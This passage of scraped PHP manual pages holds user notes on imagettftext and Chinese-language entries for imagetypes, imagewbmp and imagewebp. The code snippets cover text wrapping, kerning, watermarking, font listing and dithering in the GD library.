better solutions is to check input text for lines longer than needed wrap point.
denis at reddodo dot com 24-Dec-2007 05:46
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen && stristr($text, ' ') !== FALSE) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
dotpointer 09-Dec-2007 04:40
For those trying to disable the font smoothing or font cleartype:ing, take a look at the color parameter for this function. The correct word for what you're looking for is antialiasing.
Anonymous 16-Nov-2007 04:14
Just to comment on Sohel Taslims great function...
if anyone needs to add BACKGROUND TRANSPARENCY to this kind of function (which almost does everyone one would want already) then add

$bg_color = imagecolorat($im,1,1);
imagecolortransparent($im, $bg_color);

ABOVE the "if($L_R_C == 0){ //Justify Left"  line
waage 07-Nov-2007 07:31
I had some issues trying to get both word wrapping and new line detection but with some of the help from the comments below i got this. (thanks to jwe for the main part of the code here)

<?php
function ttfWordWrappedText($text, $strlen = 38) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>

This returns an array for each newline entered and subarray for each wordwrapped line to print.

ie.

Array
(
    [0] => Array
        (
            [0] => This is the first long line
            [1] => that i entered.
        )

    [1] => Array
        (
            [0] => And this is the new line after that.
        )
)
mitch at electricpulp dot com 20-Sep-2007 07:35
If you're having issues with fonts not working... (Could not find/open font) check your permissions on the folder/font files and make sure they're 775, especially if you've just pulled them from a windows box. Hope this helps!
Ole Clausen 11-Sep-2007 09:11
Comment to: Sohel Taslim (03-Aug-2007 06:19)

Thanks for the function which I have modified a bit. In the new version the lines have equal space between them (the g's in your example create bigger space between the lines) - set by the parameter '$Leading'.

I have used the for-loop for better performance and slimmed the rest a little  :)

    /**
     * @name                    : makeImageF
     *
     * Function for create image from text with selected font. Justify text in image (0-Left, 1-Right, 2-Center).
     *
     * @param String $text     : String to convert into the Image.
     * @param String $font     : Font name of the text. Kip font file in same folder.
     * @param int    $Justify  : Justify text in image (0-Left, 1-Right, 2-Center).
     * @param int    $Leading  : Space between lines.
     * @param int    $W        : Width of the Image.
     * @param int    $H        : Hight of the Image.
     * @param int    $X        : x-coordinate of the text into the image.
     * @param int    $Y        : y-coordinate of the text into the image.
     * @param int    $fsize    : Font size of text.
     * @param array  $color    : RGB color array for text color.
     * @param array  $bgcolor  : RGB color array for background.
     *
     */
    function imagettfJustifytext($text, $font="CENTURY.TTF", $Justify=2, $Leading=0, $W=0, $H=0, $X=0, $Y=0, $fsize=12, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

        $angle = 0;
        $_bx = imageTTFBbox($fsize,0,$font,$text);
        $s = split("[\n]+", $text);  // Array of lines
        $nL = count($s);  // Number of lines
        $W = ($W==0)?abs($_bx[2]-$_bx[0]):$W;    // If Width not initialized by programmer then it will detect and assign perfect width.
        $H = ($H==0)?abs($_bx[5]-$_bx[3])+($nL>1?($nL*$Leading):0):$H;    // If Height not initialized by programmer then it will detect and assign perfect height.

        $im = @imagecreate($W, $H)
            or die("Cannot Initialize new GD image stream");

        $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);  // RGB color background.
        $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]); // RGB color text.

        if ($Justify == 0){ //Justify Left
            imagettftext($im, $fsize, $angle, $X, $fsize, $text_color, $font, $text);
        } else {
            // Create alpha-nummeric string with all international characters - both upper- and lowercase
            $alpha = range("a", "z");
            $alpha = $alpha.strtoupper($alpha).range(0, 9);
            // Use the string to determine the height of a line
            $_b = imageTTFBbox($fsize,0,$font,$alpha);
            $_H = abs($_b[5]-$_b[3]);
            $__H=0;
            for ($i=0; $i<$nL; $i++) {
                $_b = imageTTFBbox($fsize,0,$font,$s[$i]);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                if ($Justify == 1) $_X = $W-$_W;  // Justify Right
                else $_X = abs($W/2)-abs($_W/2);  // Justify Center

                //Defining the Y coordinate.
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $s[$i]);
                $__H += $Leading;
            }
        }

        return $im;
    }
Borgso 27-Jul-2007 04:30
Right align out of "webmaster at higher-designs dot com" code
<?php
$color = imagecolorallocate($im, 0, 0, 0);
$font = 'visitor.ttf';
$fontsize = "12";
$fontangle = "0";
$imagewidth = imagesx($im);
$imageheight = imagesy($im);

$text = "My right align text";

$box = @imageTTFBbox($fontsize,$fontangle,$font,$text);
$textwidth = abs($box[4] - $box[0]);
$textheight = abs($box[5] - $box[1]);
$xcord = $imagewidth - ($textwidth)-2; // 2 = some space from right side.
$ycord = ($imageheight/2)+($textheight/2);

ImageTTFText ($im, $fontsize, $fontangle, $xcord, $ycord, $black, $font, $text);
?>
lassial at gmail dot com 10-May-2007 06:56
Roy van Arem suggested a neat code for listing TTFs on a machine. However, it has some problems (such as lower and upper case distinction of file extension and defective fonts) that I have corrected in the following script, which can be implemented as a single PHP script (name as you like):

<?php //make sure there are no blank lines above

$ffolder="/usr/local/bin/fonts"; //The directory where your fonts reside

if (empty($_GET['f']))
{
$folder=dir($ffolder); //open directory
echo "<HTML><BODY>\n";

while($font=$folder->read())
  if(stristr($font,'.ttf')) //only ttf fonts
        $fonts[]=$font;

$folder->close();

if (!empty($fonts))
        {
        echo "<table><tr><th colspan='2'>Fonts available in $ffolder</th></tr>"
        ."\n<tr><th>Name</th><th>Appereance</th>";
        sort($fonts);
        foreach ($fonts as $font)
                echo "<tr><td>$font</td><td> <IMG src='".$_SERVER['SCRIPT_NAME']
                        ."?f=$font'></td></tr>\n";
        }
else echo "No fonts found from $ffolder";
echo "\n</HTML></BODY>";
}

else
{
$im=@imagecreatetruecolor(200,30)
        or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);
imagettftext($im,14,0,5,25,$black, "$ffolder/".$_GET['f'] , $_GET['f']);

header("Content-type: image/png");
header('Content-Length: ' . strlen($im));

imagepng($im);
imagedestroy($im);
}
?>
ultraniblet at gmail dot com 05-May-2007 01:08
I have found the kerning (spacing between letters) pretty poor with GD - it's not up to your average designer's standards. Here are some ways to improve it:
- Place the letters one by one using their bounding box instead of using one string
- adjust with a $kerning value
- For small text, sample it down from a larger size to adjust in increments less than 1px

Eg:

<?PHP

$STRING = "NOTRE PHILOSOPHIE";

// ---- PRESETS
$FONT = "CantoriaMTStd-SemiBold.otf";
$FONT_SIZE = 10.5;
$WIDTH = 200;
$HEIGHT = 16;
$KERNING = 0;
$BASELINE = 12;
$BG_COLOR = array(
    "R"=>5,
    "G"=>45,
    "B"=>53
);
$TXT_COLOR = array(
    "R"=>188,
    "G"=>189,
    "B"=>0
);

// ---- CREATE CANVAS + PALETTE
$canvas = imageCreateTrueColor($WIDTH*4,$HEIGHT*4);

$bg_color = imageColorAllocate($canvas, $BG_COLOR["R"], $BG_COLOR["G"], $BG_COLOR["B"]);

$txt_color = imageColorAllocate($canvas, $TXT_COLOR["R"], $TXT_COLOR["G"], $TXT_COLOR["B"]);

imagefill ( $canvas, 0, 0, $bg_color );

// ---- DRAW

$array = str_split($STRING);
$hpos = 0;

for($i=0; $i<count($array); $i++)
{
    $bbox = imagettftext( $canvas, $FONT_SIZE*4, 0, $hpos, $BASELINE*4, $txt_color, $FONT, $array[$i] );

    $hpos = $bbox[2]+$KERNING;
}

// ---- SAMPLE DOWN & OUTPUT
$final = imageCreateTrueColor($WIDTH,$HEIGHT);

imageCopyResampled( $final, $canvas, 0,0,0,0, $WIDTH, $HEIGHT, $WIDTH*4, $HEIGHT*4 );

header('Content-type: image/png');

imagePNG($final);

imageDestroy($canvas);
imageDestroy($final);

?>
Roy van Arem 26-Nov-2006 08:01
If you want to display a list of fonts in a directory and see what they look like, you could do something like this:

<HTML><BODY>

<?php

$folder=dir("fonts/"); //The directory where your fonts reside

while($font=$folder->read())
  {

  if(stristr($font,'.ttf'))echo '<IMG SRC="img.php?'.substr($font,0,strpos($font,'.')).'">'; //only ttf fonts

  }

$folder->close();

?>

</BODY></HTML>

The file for 'img.php' should be something like this:

<?php

$font=$_SERVER["QUERY_STRING"];

header("Content-type: image/png");
$im=@imagecreatetruecolor(200,30)or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);

imagettftext($im,18,0,5,25,$black,"fonts/".$font,$font);

imagepng($im);
imagedestroy($im);

?>

Something similar I implemented at http://font.beginstart.com
ben at evolutioncomputing co uk 05-Nov-2006 01:25
A centralised text watermark - of  any length, that automatically sizes to about 70% of the width, and can be rotated to any angle.

<?php
/* Get image info */
$Image = @ImageCreateFromJPEG ("YourImage.jpg") ;
$sx = imagesx($Image) ;
$sy = imagesy($Image) ;
if ($WatermarkNeeded)
    {
    /* Set text info */
    $Text="Copyright Ben Clay" ;
    $Font="arial.ttf" ;
    $FontColor = ImageColorAllocate ($Image,255,255,255) ;
    $FontShadow = ImageColorAllocate ($Image,0,0,0) ;
    $Rotation = 30 ;
    /* Make a copy image */
    $OriginalImage = ImageCreateTrueColor($sx,$sy) ;
    ImageCopy ($OriginalImage,$Image,0,0,0,0,$sx,$sy) ;
    /* Iterate to get the size up */
    $FontSize=1 ;
    do
        {
        $FontSize *= 1.1 ;
        $Box = @ImageTTFBBox($FontSize,0,$Font,$Text);
        $TextWidth = abs($Box[4] - $Box[0]) ;
        $TextHeight = abs($Box[5] - $Box[1]) ;
        }
    while ($TextWidth < $sx*0.7) ;
    /*  Awkward maths to get the origin of the text in the right place */
    $x = $sx/2 - cos(deg2rad($Rotation))*$TextWidth/2 ;
    $y = $sy/2 + sin(deg2rad($Rotation))*$TextWidth/2 + cos(deg2rad($Rotation))*$TextHeight/2 ;
    /* Make shadow text first followed by solid text */
    ImageTTFText ($Image,$FontSize,$Rotation,$x+4,$y+4,$FontShadow,$Font,$Text);
    ImageTTFText ($Image,$FontSize,$Rotation,$x,$y,$FontColor,$Font,$Text);
    /* merge original image into version with text to show image through text */
    ImageCopyMerge ($Image,$OriginalImage,0,0,0,0,$sx,$sy,50) ;
    }

ImageJPEG ($Image) ;
?>
Tom Pike 04-Oct-2006 08:48
Ref: Craig at frostycoolslug dot com

"Using the negative of a color index has the effect of turning off antialiasing."

This is true, but only if the image has been created with imagecreate() (as opposed to imagecreatetruecolor())
Craig at frostycoolslug dot com 28-Sep-2006 07:54
This one caught me out a little bit as confusing, so in an attempt to help others..

"Using the negative of a color index has the effect of turning off antialiasing."

Simply put:

<?php

$textColour = ImageColorAllocate($image, 255, 255, 255);
ImageTTFText($image, 8, 0, 0, 0, -$textColour, $font, $text);

?>

Note the - (minus) before the $textColor in ImageTTFText, this creates the negative colour index, and switches off AA on text.
jwe 24-Jul-2006 11:48
I found this line a little confusing:

"May include decimal numeric character references (of the form: &#8364;) to access characters in a font beyond position 127."

I was using a font that had apostrophes and quotes stored in a non-standard position, and so they were being rendered as spaces by imagettftext.  This line seemed to suggest a solution, but it took a while to figure it out.

Turns out, a "decimal numeric character reference" is a decimal conversion of the hex value of the *unicode* position of the character you want.  For a while I was trying ASCII positions (I knew the ALT+ code for typing the character I needed in Windows).

In the Windows XP character map, the unicode positions are shown as U+2018 or U+201C, etc.  Ignore the U+ and convert that hex number to decimal, and then stick that in your text string with the &# on the front and ; on the end, and pass it to imagettftext.

--Julian
jwe 18-Jul-2006 08:48
Quick tip for anyone who is receiving text like in the example in this page (ie: through $_GET['text'] or something similar) and needs to format the text into multiple lines.  The trick is finding the spaces...

<?php
$text = $_GET['text'];
// for a maximum of 38 characters on a line...
while(strlen($text) > 38) {
   $startPoint = 37;
   // find a space to break the line on
   while(substr($text, $startPoint, 1) != " ") {
        $startPoint--;
   }
   $line[] = trim(substr($text, 0, $startPoint));
   $text = substr($text, $startPoint);
}
$line[] = trim($text);
?>

The result is an array called $line that contains all the lines of text you need to output in order.

The only tasks left are to determine the correct height of the image based on the font size you want to use.  Don't forget to leave some padding space for punctuation and descenders between lines (commas, g, q, p, y, etc).

imagettftext is unbelievably useful when you need to create header images using non-standard fonts.  Amazing.  Huge thanks to the devs.

--Julian
admin at sgssweb dot com 01-May-2006 04:08
Another way of the bellow. After creating a child class of GMIPluggableSet class, which should override two method: getExpression() and getVariables(), throw it to a instance of FontImageGenerator class.
For example, the code follows:

<?php

require_once 'package.fig.php';

class SampleFontImagePluggableSet
    extends GMIPluggableSet
{
    var $defaultVariables = array(
        "text" => null,
        "size" => null,
        "font" => null,
        "color" => "0x000000",
        "alpha" => "100",
        "padding" => 0,
        "width" => null,
        "height" => null,
        "align" => "left",
        "valign" => "middle",
        "bgcolor" => "0xffffff",
        "antialias" => 4
    );

    function SampleFontImagePluggableSet() {
        parent::GMIPluggableSet();
    }

    function getExpression() {
        return "size {width}, {height};".
               "autoresize none;".
               "type gif, 256, {color: {bgcolor}};".
               "padding {padding};".
               "color {color: {bgcolor}};".
               "fill;".
               "color {color: {color}, {alpha}};".
               "antialias {antialias};".
               "font {font}, {size};".
               "string {text}, 0, 0, {width}, {height}, {align}, {valign};";
    }

    function getVariables() {
        return array_merge($this->defaultVariables, $_GET);
    }
}

$pluggableSet = new SampleFontImagePluggableSet();
$fig = new FontImageGenerator();
$fig->setPluggableSet($pluggableSet);
$fig->execute();

?>

This output a image with the text defined in $_GET['text'], the font in $_GET['font'], the text color in $_GET['color'], the background in $_GET['bgcolor'], and so on.

The script file is available at: http://sgssweb.com/experiments/?file=PHPFontImageGenerator .
mats dot engstrom at gmail dot com 28-Mar-2006 02:23
I'll second the note from --colobri--.

Just adding --with-ttf and --with-freetype-dir=/usr/lib/ on the ./configure and then doing a "make; make install" is not enough.

I had to do a "make clean" and then a "make install" in order to get the FreeType-support enabled.

Here are my relevant ./configure lines:
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--with-freetype-dir=/usr/lib/ \
--with-jpeg-dir=/usr/lib/libjpeg.so.62 \
--enable-exif \
admin at phpru dot com 28-Feb-2006 09:52
On my conf: php5.1.2+apache 1.33
iconv() function works very well with all cyrillic encodings, so you needn't to write your function like win2uni
--Colibri-- 28-Jan-2006 12:53
If you have configured and compiled PHP with all the necessary command-line options and still get the error:

Fatal error: Call to undefined function imagettftext()

Try doing a "make clean"  before building the php apache module:

./configure [...]
make clean
make
make install

This may solve your problem (and hopefully keep you from wasting hours trying different compile options!)
Mer`Zikain 10-Jan-2006 12:41
I was looking for a way to add kerning to my text and finally just made this function to do it. Of course, if you're generating the size of the image based on the text you're putting in it, you'll have to figure out the new size to fit the new text width but I'm sure you can figure that out.

for($i=0;$i<strlen($text);$i++){
        // Get single character
    $value=substr($text,$i,1);
    if($pval){ // check for existing previous character
        list($lx,$ly,$rx,$ry) = imagettfbbox($fontsize,0,$font,$pval);
        $nxpos+=$rx+3;
    }else{
        $nxpos=0;
    }
        // Add the letter to the image
    imagettftext($im, $fontsize, 0, $nxpos, $ypos, $fontcolor, $font, $value);
    $pval=$value; // save current character for next loop
}
alexey at NOSPAMPLS dot ozerov dot de 31-Aug-2005 12:30
Notice that the path to the TrueType font has to be included in open_basedir list if open_basedir restriction is activated in php.ini.
gav-alex at bk dot ru 10-Aug-2005 09:05
Hi all!
When my hoster updated his php's libs at first minutes i've got the same problem as some of you.
Php couldn't find the path to true type fonts.
The solution in my case was to make the path look like this
<?php
imagettftext($im, 20, 0, 620, 260, $secondary_color, "./tahoma.ttf" , "NEWS");
?>
so as you can see i simply added "./"

another tip that i wanted to add here is how to write in RUssian on image using imagettftext
you simply have to change the function argument like this
<?php
imagettftext($im, 15, 0, 575, 300, $secondary_color, "./tahoma.ttf" , win2uni("some word in russian"));
 ?>
where win2uni is the function that converts win1251 to unicode. here is the code of it
<?php

  //  Windows 1251 -> Unicode
  function win2uni($s)
  {
    $s = convert_cyr_string($s,'w','i'); //  win1251 -> iso8859-5
    //  iso8859-5 -> unicode:
    for ($result='', $i=0; $i<strlen($s); $i++) {
      $charcode = ord($s[$i]);
      $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
    }
    return $result;
  }
?>

That's all today! Thanks for your attention!
Alex
erik[at]phpcastle.com 04-Mar-2005 04:46
Remember!!!

When uploading a font to your website you have to set the transfer mode to binary. It took me some time to find out :P. Tried to download the font from my website and it was spoiled.

In your script, the path to your font, use realpath("arial.ttf") so there is no confusion about that.
pillepop2003 at nospam dot yahoo dot de 12-Jan-2005 05:14
Hey guys,

check this function if you want to rotate the text around its center and not its "lower left" pivot-point:

<?php
        // Put center-rotated ttf-text into image
        // Same signature as imagettftext();
        function imagettftext_cr(&$im, $size, $angle, $x, $y, $color, $fontfile, $text)
        {
            // retrieve boundingbox
            $bbox = imagettfbbox($size, $angle, $fontfile, $text);

            // calculate deviation
            $dx = ($bbox[2]-$bbox[0])/2.0 - ($bbox[2]-$bbox[4])/2.0;         // deviation left-right
            $dy = ($bbox[3]-$bbox[1])/2.0 + ($bbox[7]-$bbox[1])/2.0;        // deviation top-bottom

            // new pivotpoint
            $px = $x-$dx;
            $py = $y-$dy;

            return imagettftext($im, $size, $angle, $px, $py, $color, $fontfile, $text);
        }

?>

Big up
Phil
plusplus7 at hotmail dot com 15-Jul-2004 01:37
If you are getting all rectangles instead of text, it may well mean that your ttf font is not opentype, particularly if it is an older freeware one. This requirement didn't exist in older versions so you may find that your font stops working after you upgrade. To fix this problem, try downloading the free MS Volt utility. From there, open your font file, and then click on Compile, and resave.


返回 PHP 内置支持的图像类型

  • ? imagettftext
  • imagewbmp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 返回 PHP 内置支持的图像类型

imagetypes

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

imagetypes — 返回 PHP 内置支持的图像类型

说明

imagetypes(): int

返回当前安装的 PHP 支持的图片类型。

参数

此函数没有参数。

返回值

返回链接到 PHP 的 GD 版本支持的图片类型相对应的位字段。返回以下位：IMG_AVIF | IMG_BMP | IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM | IMG_WEBP.

更新日志

版本 | 说明
8.1.0 | 新增 IMG_AVIF。
7.2.0 | 新增 IMG_BMP。
7.0.10 | 新增 IMG_WEBP。

示例

Example #1 检测 PNG 支持

<?php
if (imagetypes() & IMG_PNG) {
echo "PNG Support is enabled";
}
?>

参见

  • gd_info() - 取得当前安装的 GD 库的信息

User Contributed Notes

ThunderCrew 30-Jul-2007 07:38
Im not a smart man but this seemd to be the simplest code and it worked.
Its at the very top of this directory.

<?php
var_dump(gd_info());
?>

Returned image info and more.

array(11) { ["GD Version"]=> string(27) "bundled (2.0.28 compatible)" ["FreeType Support"]=> bool(true) ["FreeType Linkage"]=> string(13) "with freetype" ["T1Lib Support"]=> bool(false) ["GIF Read Support"]=> bool(true) ["GIF Create Support"]=> bool(true) ["JPG Support"]=> bool(true) ["PNG Support"]=> bool(true) ["WBMP Support"]=> bool(true) ["XBM Support"]=> bool(true) ["JIS-mapped Japanese Font Support"]=> bool(false) }


输出图象到浏览器或文件。

  • ? imagetypes
  • imagewebp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 输出图象到浏览器或文件。

imagewbmp

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagewbmp — 输出图象到浏览器或文件。

说明

imagewbmp(GdImage $image, resource|string|null $file = null, ?int $foreground_color = null): bool

imagewbmp() 输出或保存为指定 image 的 WBMP 版本。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

foreground_color

使用此参数从 imagecolorallocate() 获得的标识符来设置前景色。默认前景色为黑色。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | foreground_color 现在允许为 null。

示例

Example #1 输出 WBMP 图像

<?php
// 创建空白图像并添加文本
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 设置内容类型标头——在本例中是 image/vnd.wap.wbmp
// 提示，请参阅 image_type_to_mime_type() 了解内容类型
header('Content-Type: image/vnd.wap.wbmp');

// 输出图像
imagewbmp($im);

// 释放内存
imagedestroy($im);
?>

Example #2 保存 WBMP 图像

<?php
// 创建空白图像并添加文本
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 保存图像
imagewbmp($im, 'simpletext.wbmp');

// 释放内存
imagedestroy($im);
?>

Example #3 使用不同的前景色输出图像

<?php
// 创建空白图像并添加文本
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 设置内容类型标头——在本例中是 image/vnd.wap.wbmp
// 提示，请参阅 image_type_to_mime_type() 了解内容类型
header('Content-Type: image/vnd.wap.wbmp');

// 设置替换的前景色
$foreground_color = imagecolorallocate($im, 255, 0, 0);

imagewbmp($im, NULL, $foreground_color);

// 释放内存
imagedestroy($im);
?>

参见

  • image2wbmp() - 输出图象到浏览器或文件。
  • imagepng() - 将 PNG 图像输出到浏览器或文件
  • imagegif() - 输出图象到浏览器或文件。
  • imagejpeg() - 输出图象到浏览器或文件。
  • imagetypes() - 返回 PHP 内置支持的图像类型

User Contributed Notes

andre at bynetworld dot com 19-Dec-2007 05:31
In the previous note by -> lukeross at sys3175 dot co dot uk <- there is a coding error in the for() loops. After correcting the error, I found that this function did a great job of  converting color images to 2 colors.
The following is the corrected function code:

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $isx = ImageSX($src_img);
    $isy = ImageSY($src_img);
    $grey_img = ImageCreate($isx, $isy);
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    $isx -= 1; // To correct pixel count in source image width starting from 0
    $isy -= 1; // Correcting pixel count in source image height starting from 0
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != $isx) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != $isx && $y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}
lukeross at sys3175 dot co dot uk 28-Feb-2002 01:57
As has been commented before, GD doesnt do a very good translation to 2-colours, especially for photos.  The following routine converts to two colours, I believe using error diffusion (the algorithm's nicked off news).  It's slow, but just about adequate for small images and low load.  I suspect it can be made much more efficient :-)

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $grey_img = ImageCreate(ImageSX($src_img), ImageSY($src_img));
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != ImageSx($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != ImageSx($src_img) && $y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}

To output your WBMP, use

ImageWBMP($final_img, "", ImageColorClosest(255,255,255));


将 WebP 格式的图像输出到浏览器或文件

  • ? imagewbmp
  • imagexbm ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将 WebP 格式的图像输出到浏览器或文件

imagewebp

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

imagewebp — 将 WebP 格式的图像输出到浏览器或文件

说明

imagewebp(GdImage $image, resource|string|null $file = null, int $quality = -1): bool

输出或保存为指定 image 的 WebP 版本。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

quality

quality 范围从 0（最低质量，最小文件体积）到 100（最好质量, 最大文件体积）。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 保存为 WebP 图像文件

<?php
// 创建一个空图像并在其上加入一些文字
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);

imagestring($im, 1, 5, 5, 'WebP with PHP', $text_color);

// 保存图像
imagewebp($im, 'php.webp');

// 释放内存
imagedestroy($im);
?>

User Contributed Notes

JSix 09-Feb-2022 04:18
Function to save any image to Webp

public static function webpImage($source, $quality = 100, $removeOld = false)
    {
        $dir = pathinfo($source, PATHINFO_DIRNAME);
        $name = pathinfo($source, PATHINFO_FILENAME);
        $destination = $dir . DIRECTORY_SEPARATOR . $name . '.webp';
        $info = getimagesize($source);
        $isAlpha = false;
        if ($info['mime'] == 'image/jpeg')
            $image = imagecreatefromjpeg($source);
        elseif ($isAlpha = $info['mime'] == 'image/gif') {
            $image = imagecreatefromgif($source);
        } elseif ($isAlpha = $info['mime'] == 'image/png') {
            $image = imagecreatefrompng($source);
        } else {
            return $source;
        }
        if ($isAlpha) {
            imagepalettetotruecolor($image);
            imagealphablending($image, true);
            imagesavealpha($image, true);
        }
        imagewebp($image, $destination, $quality);

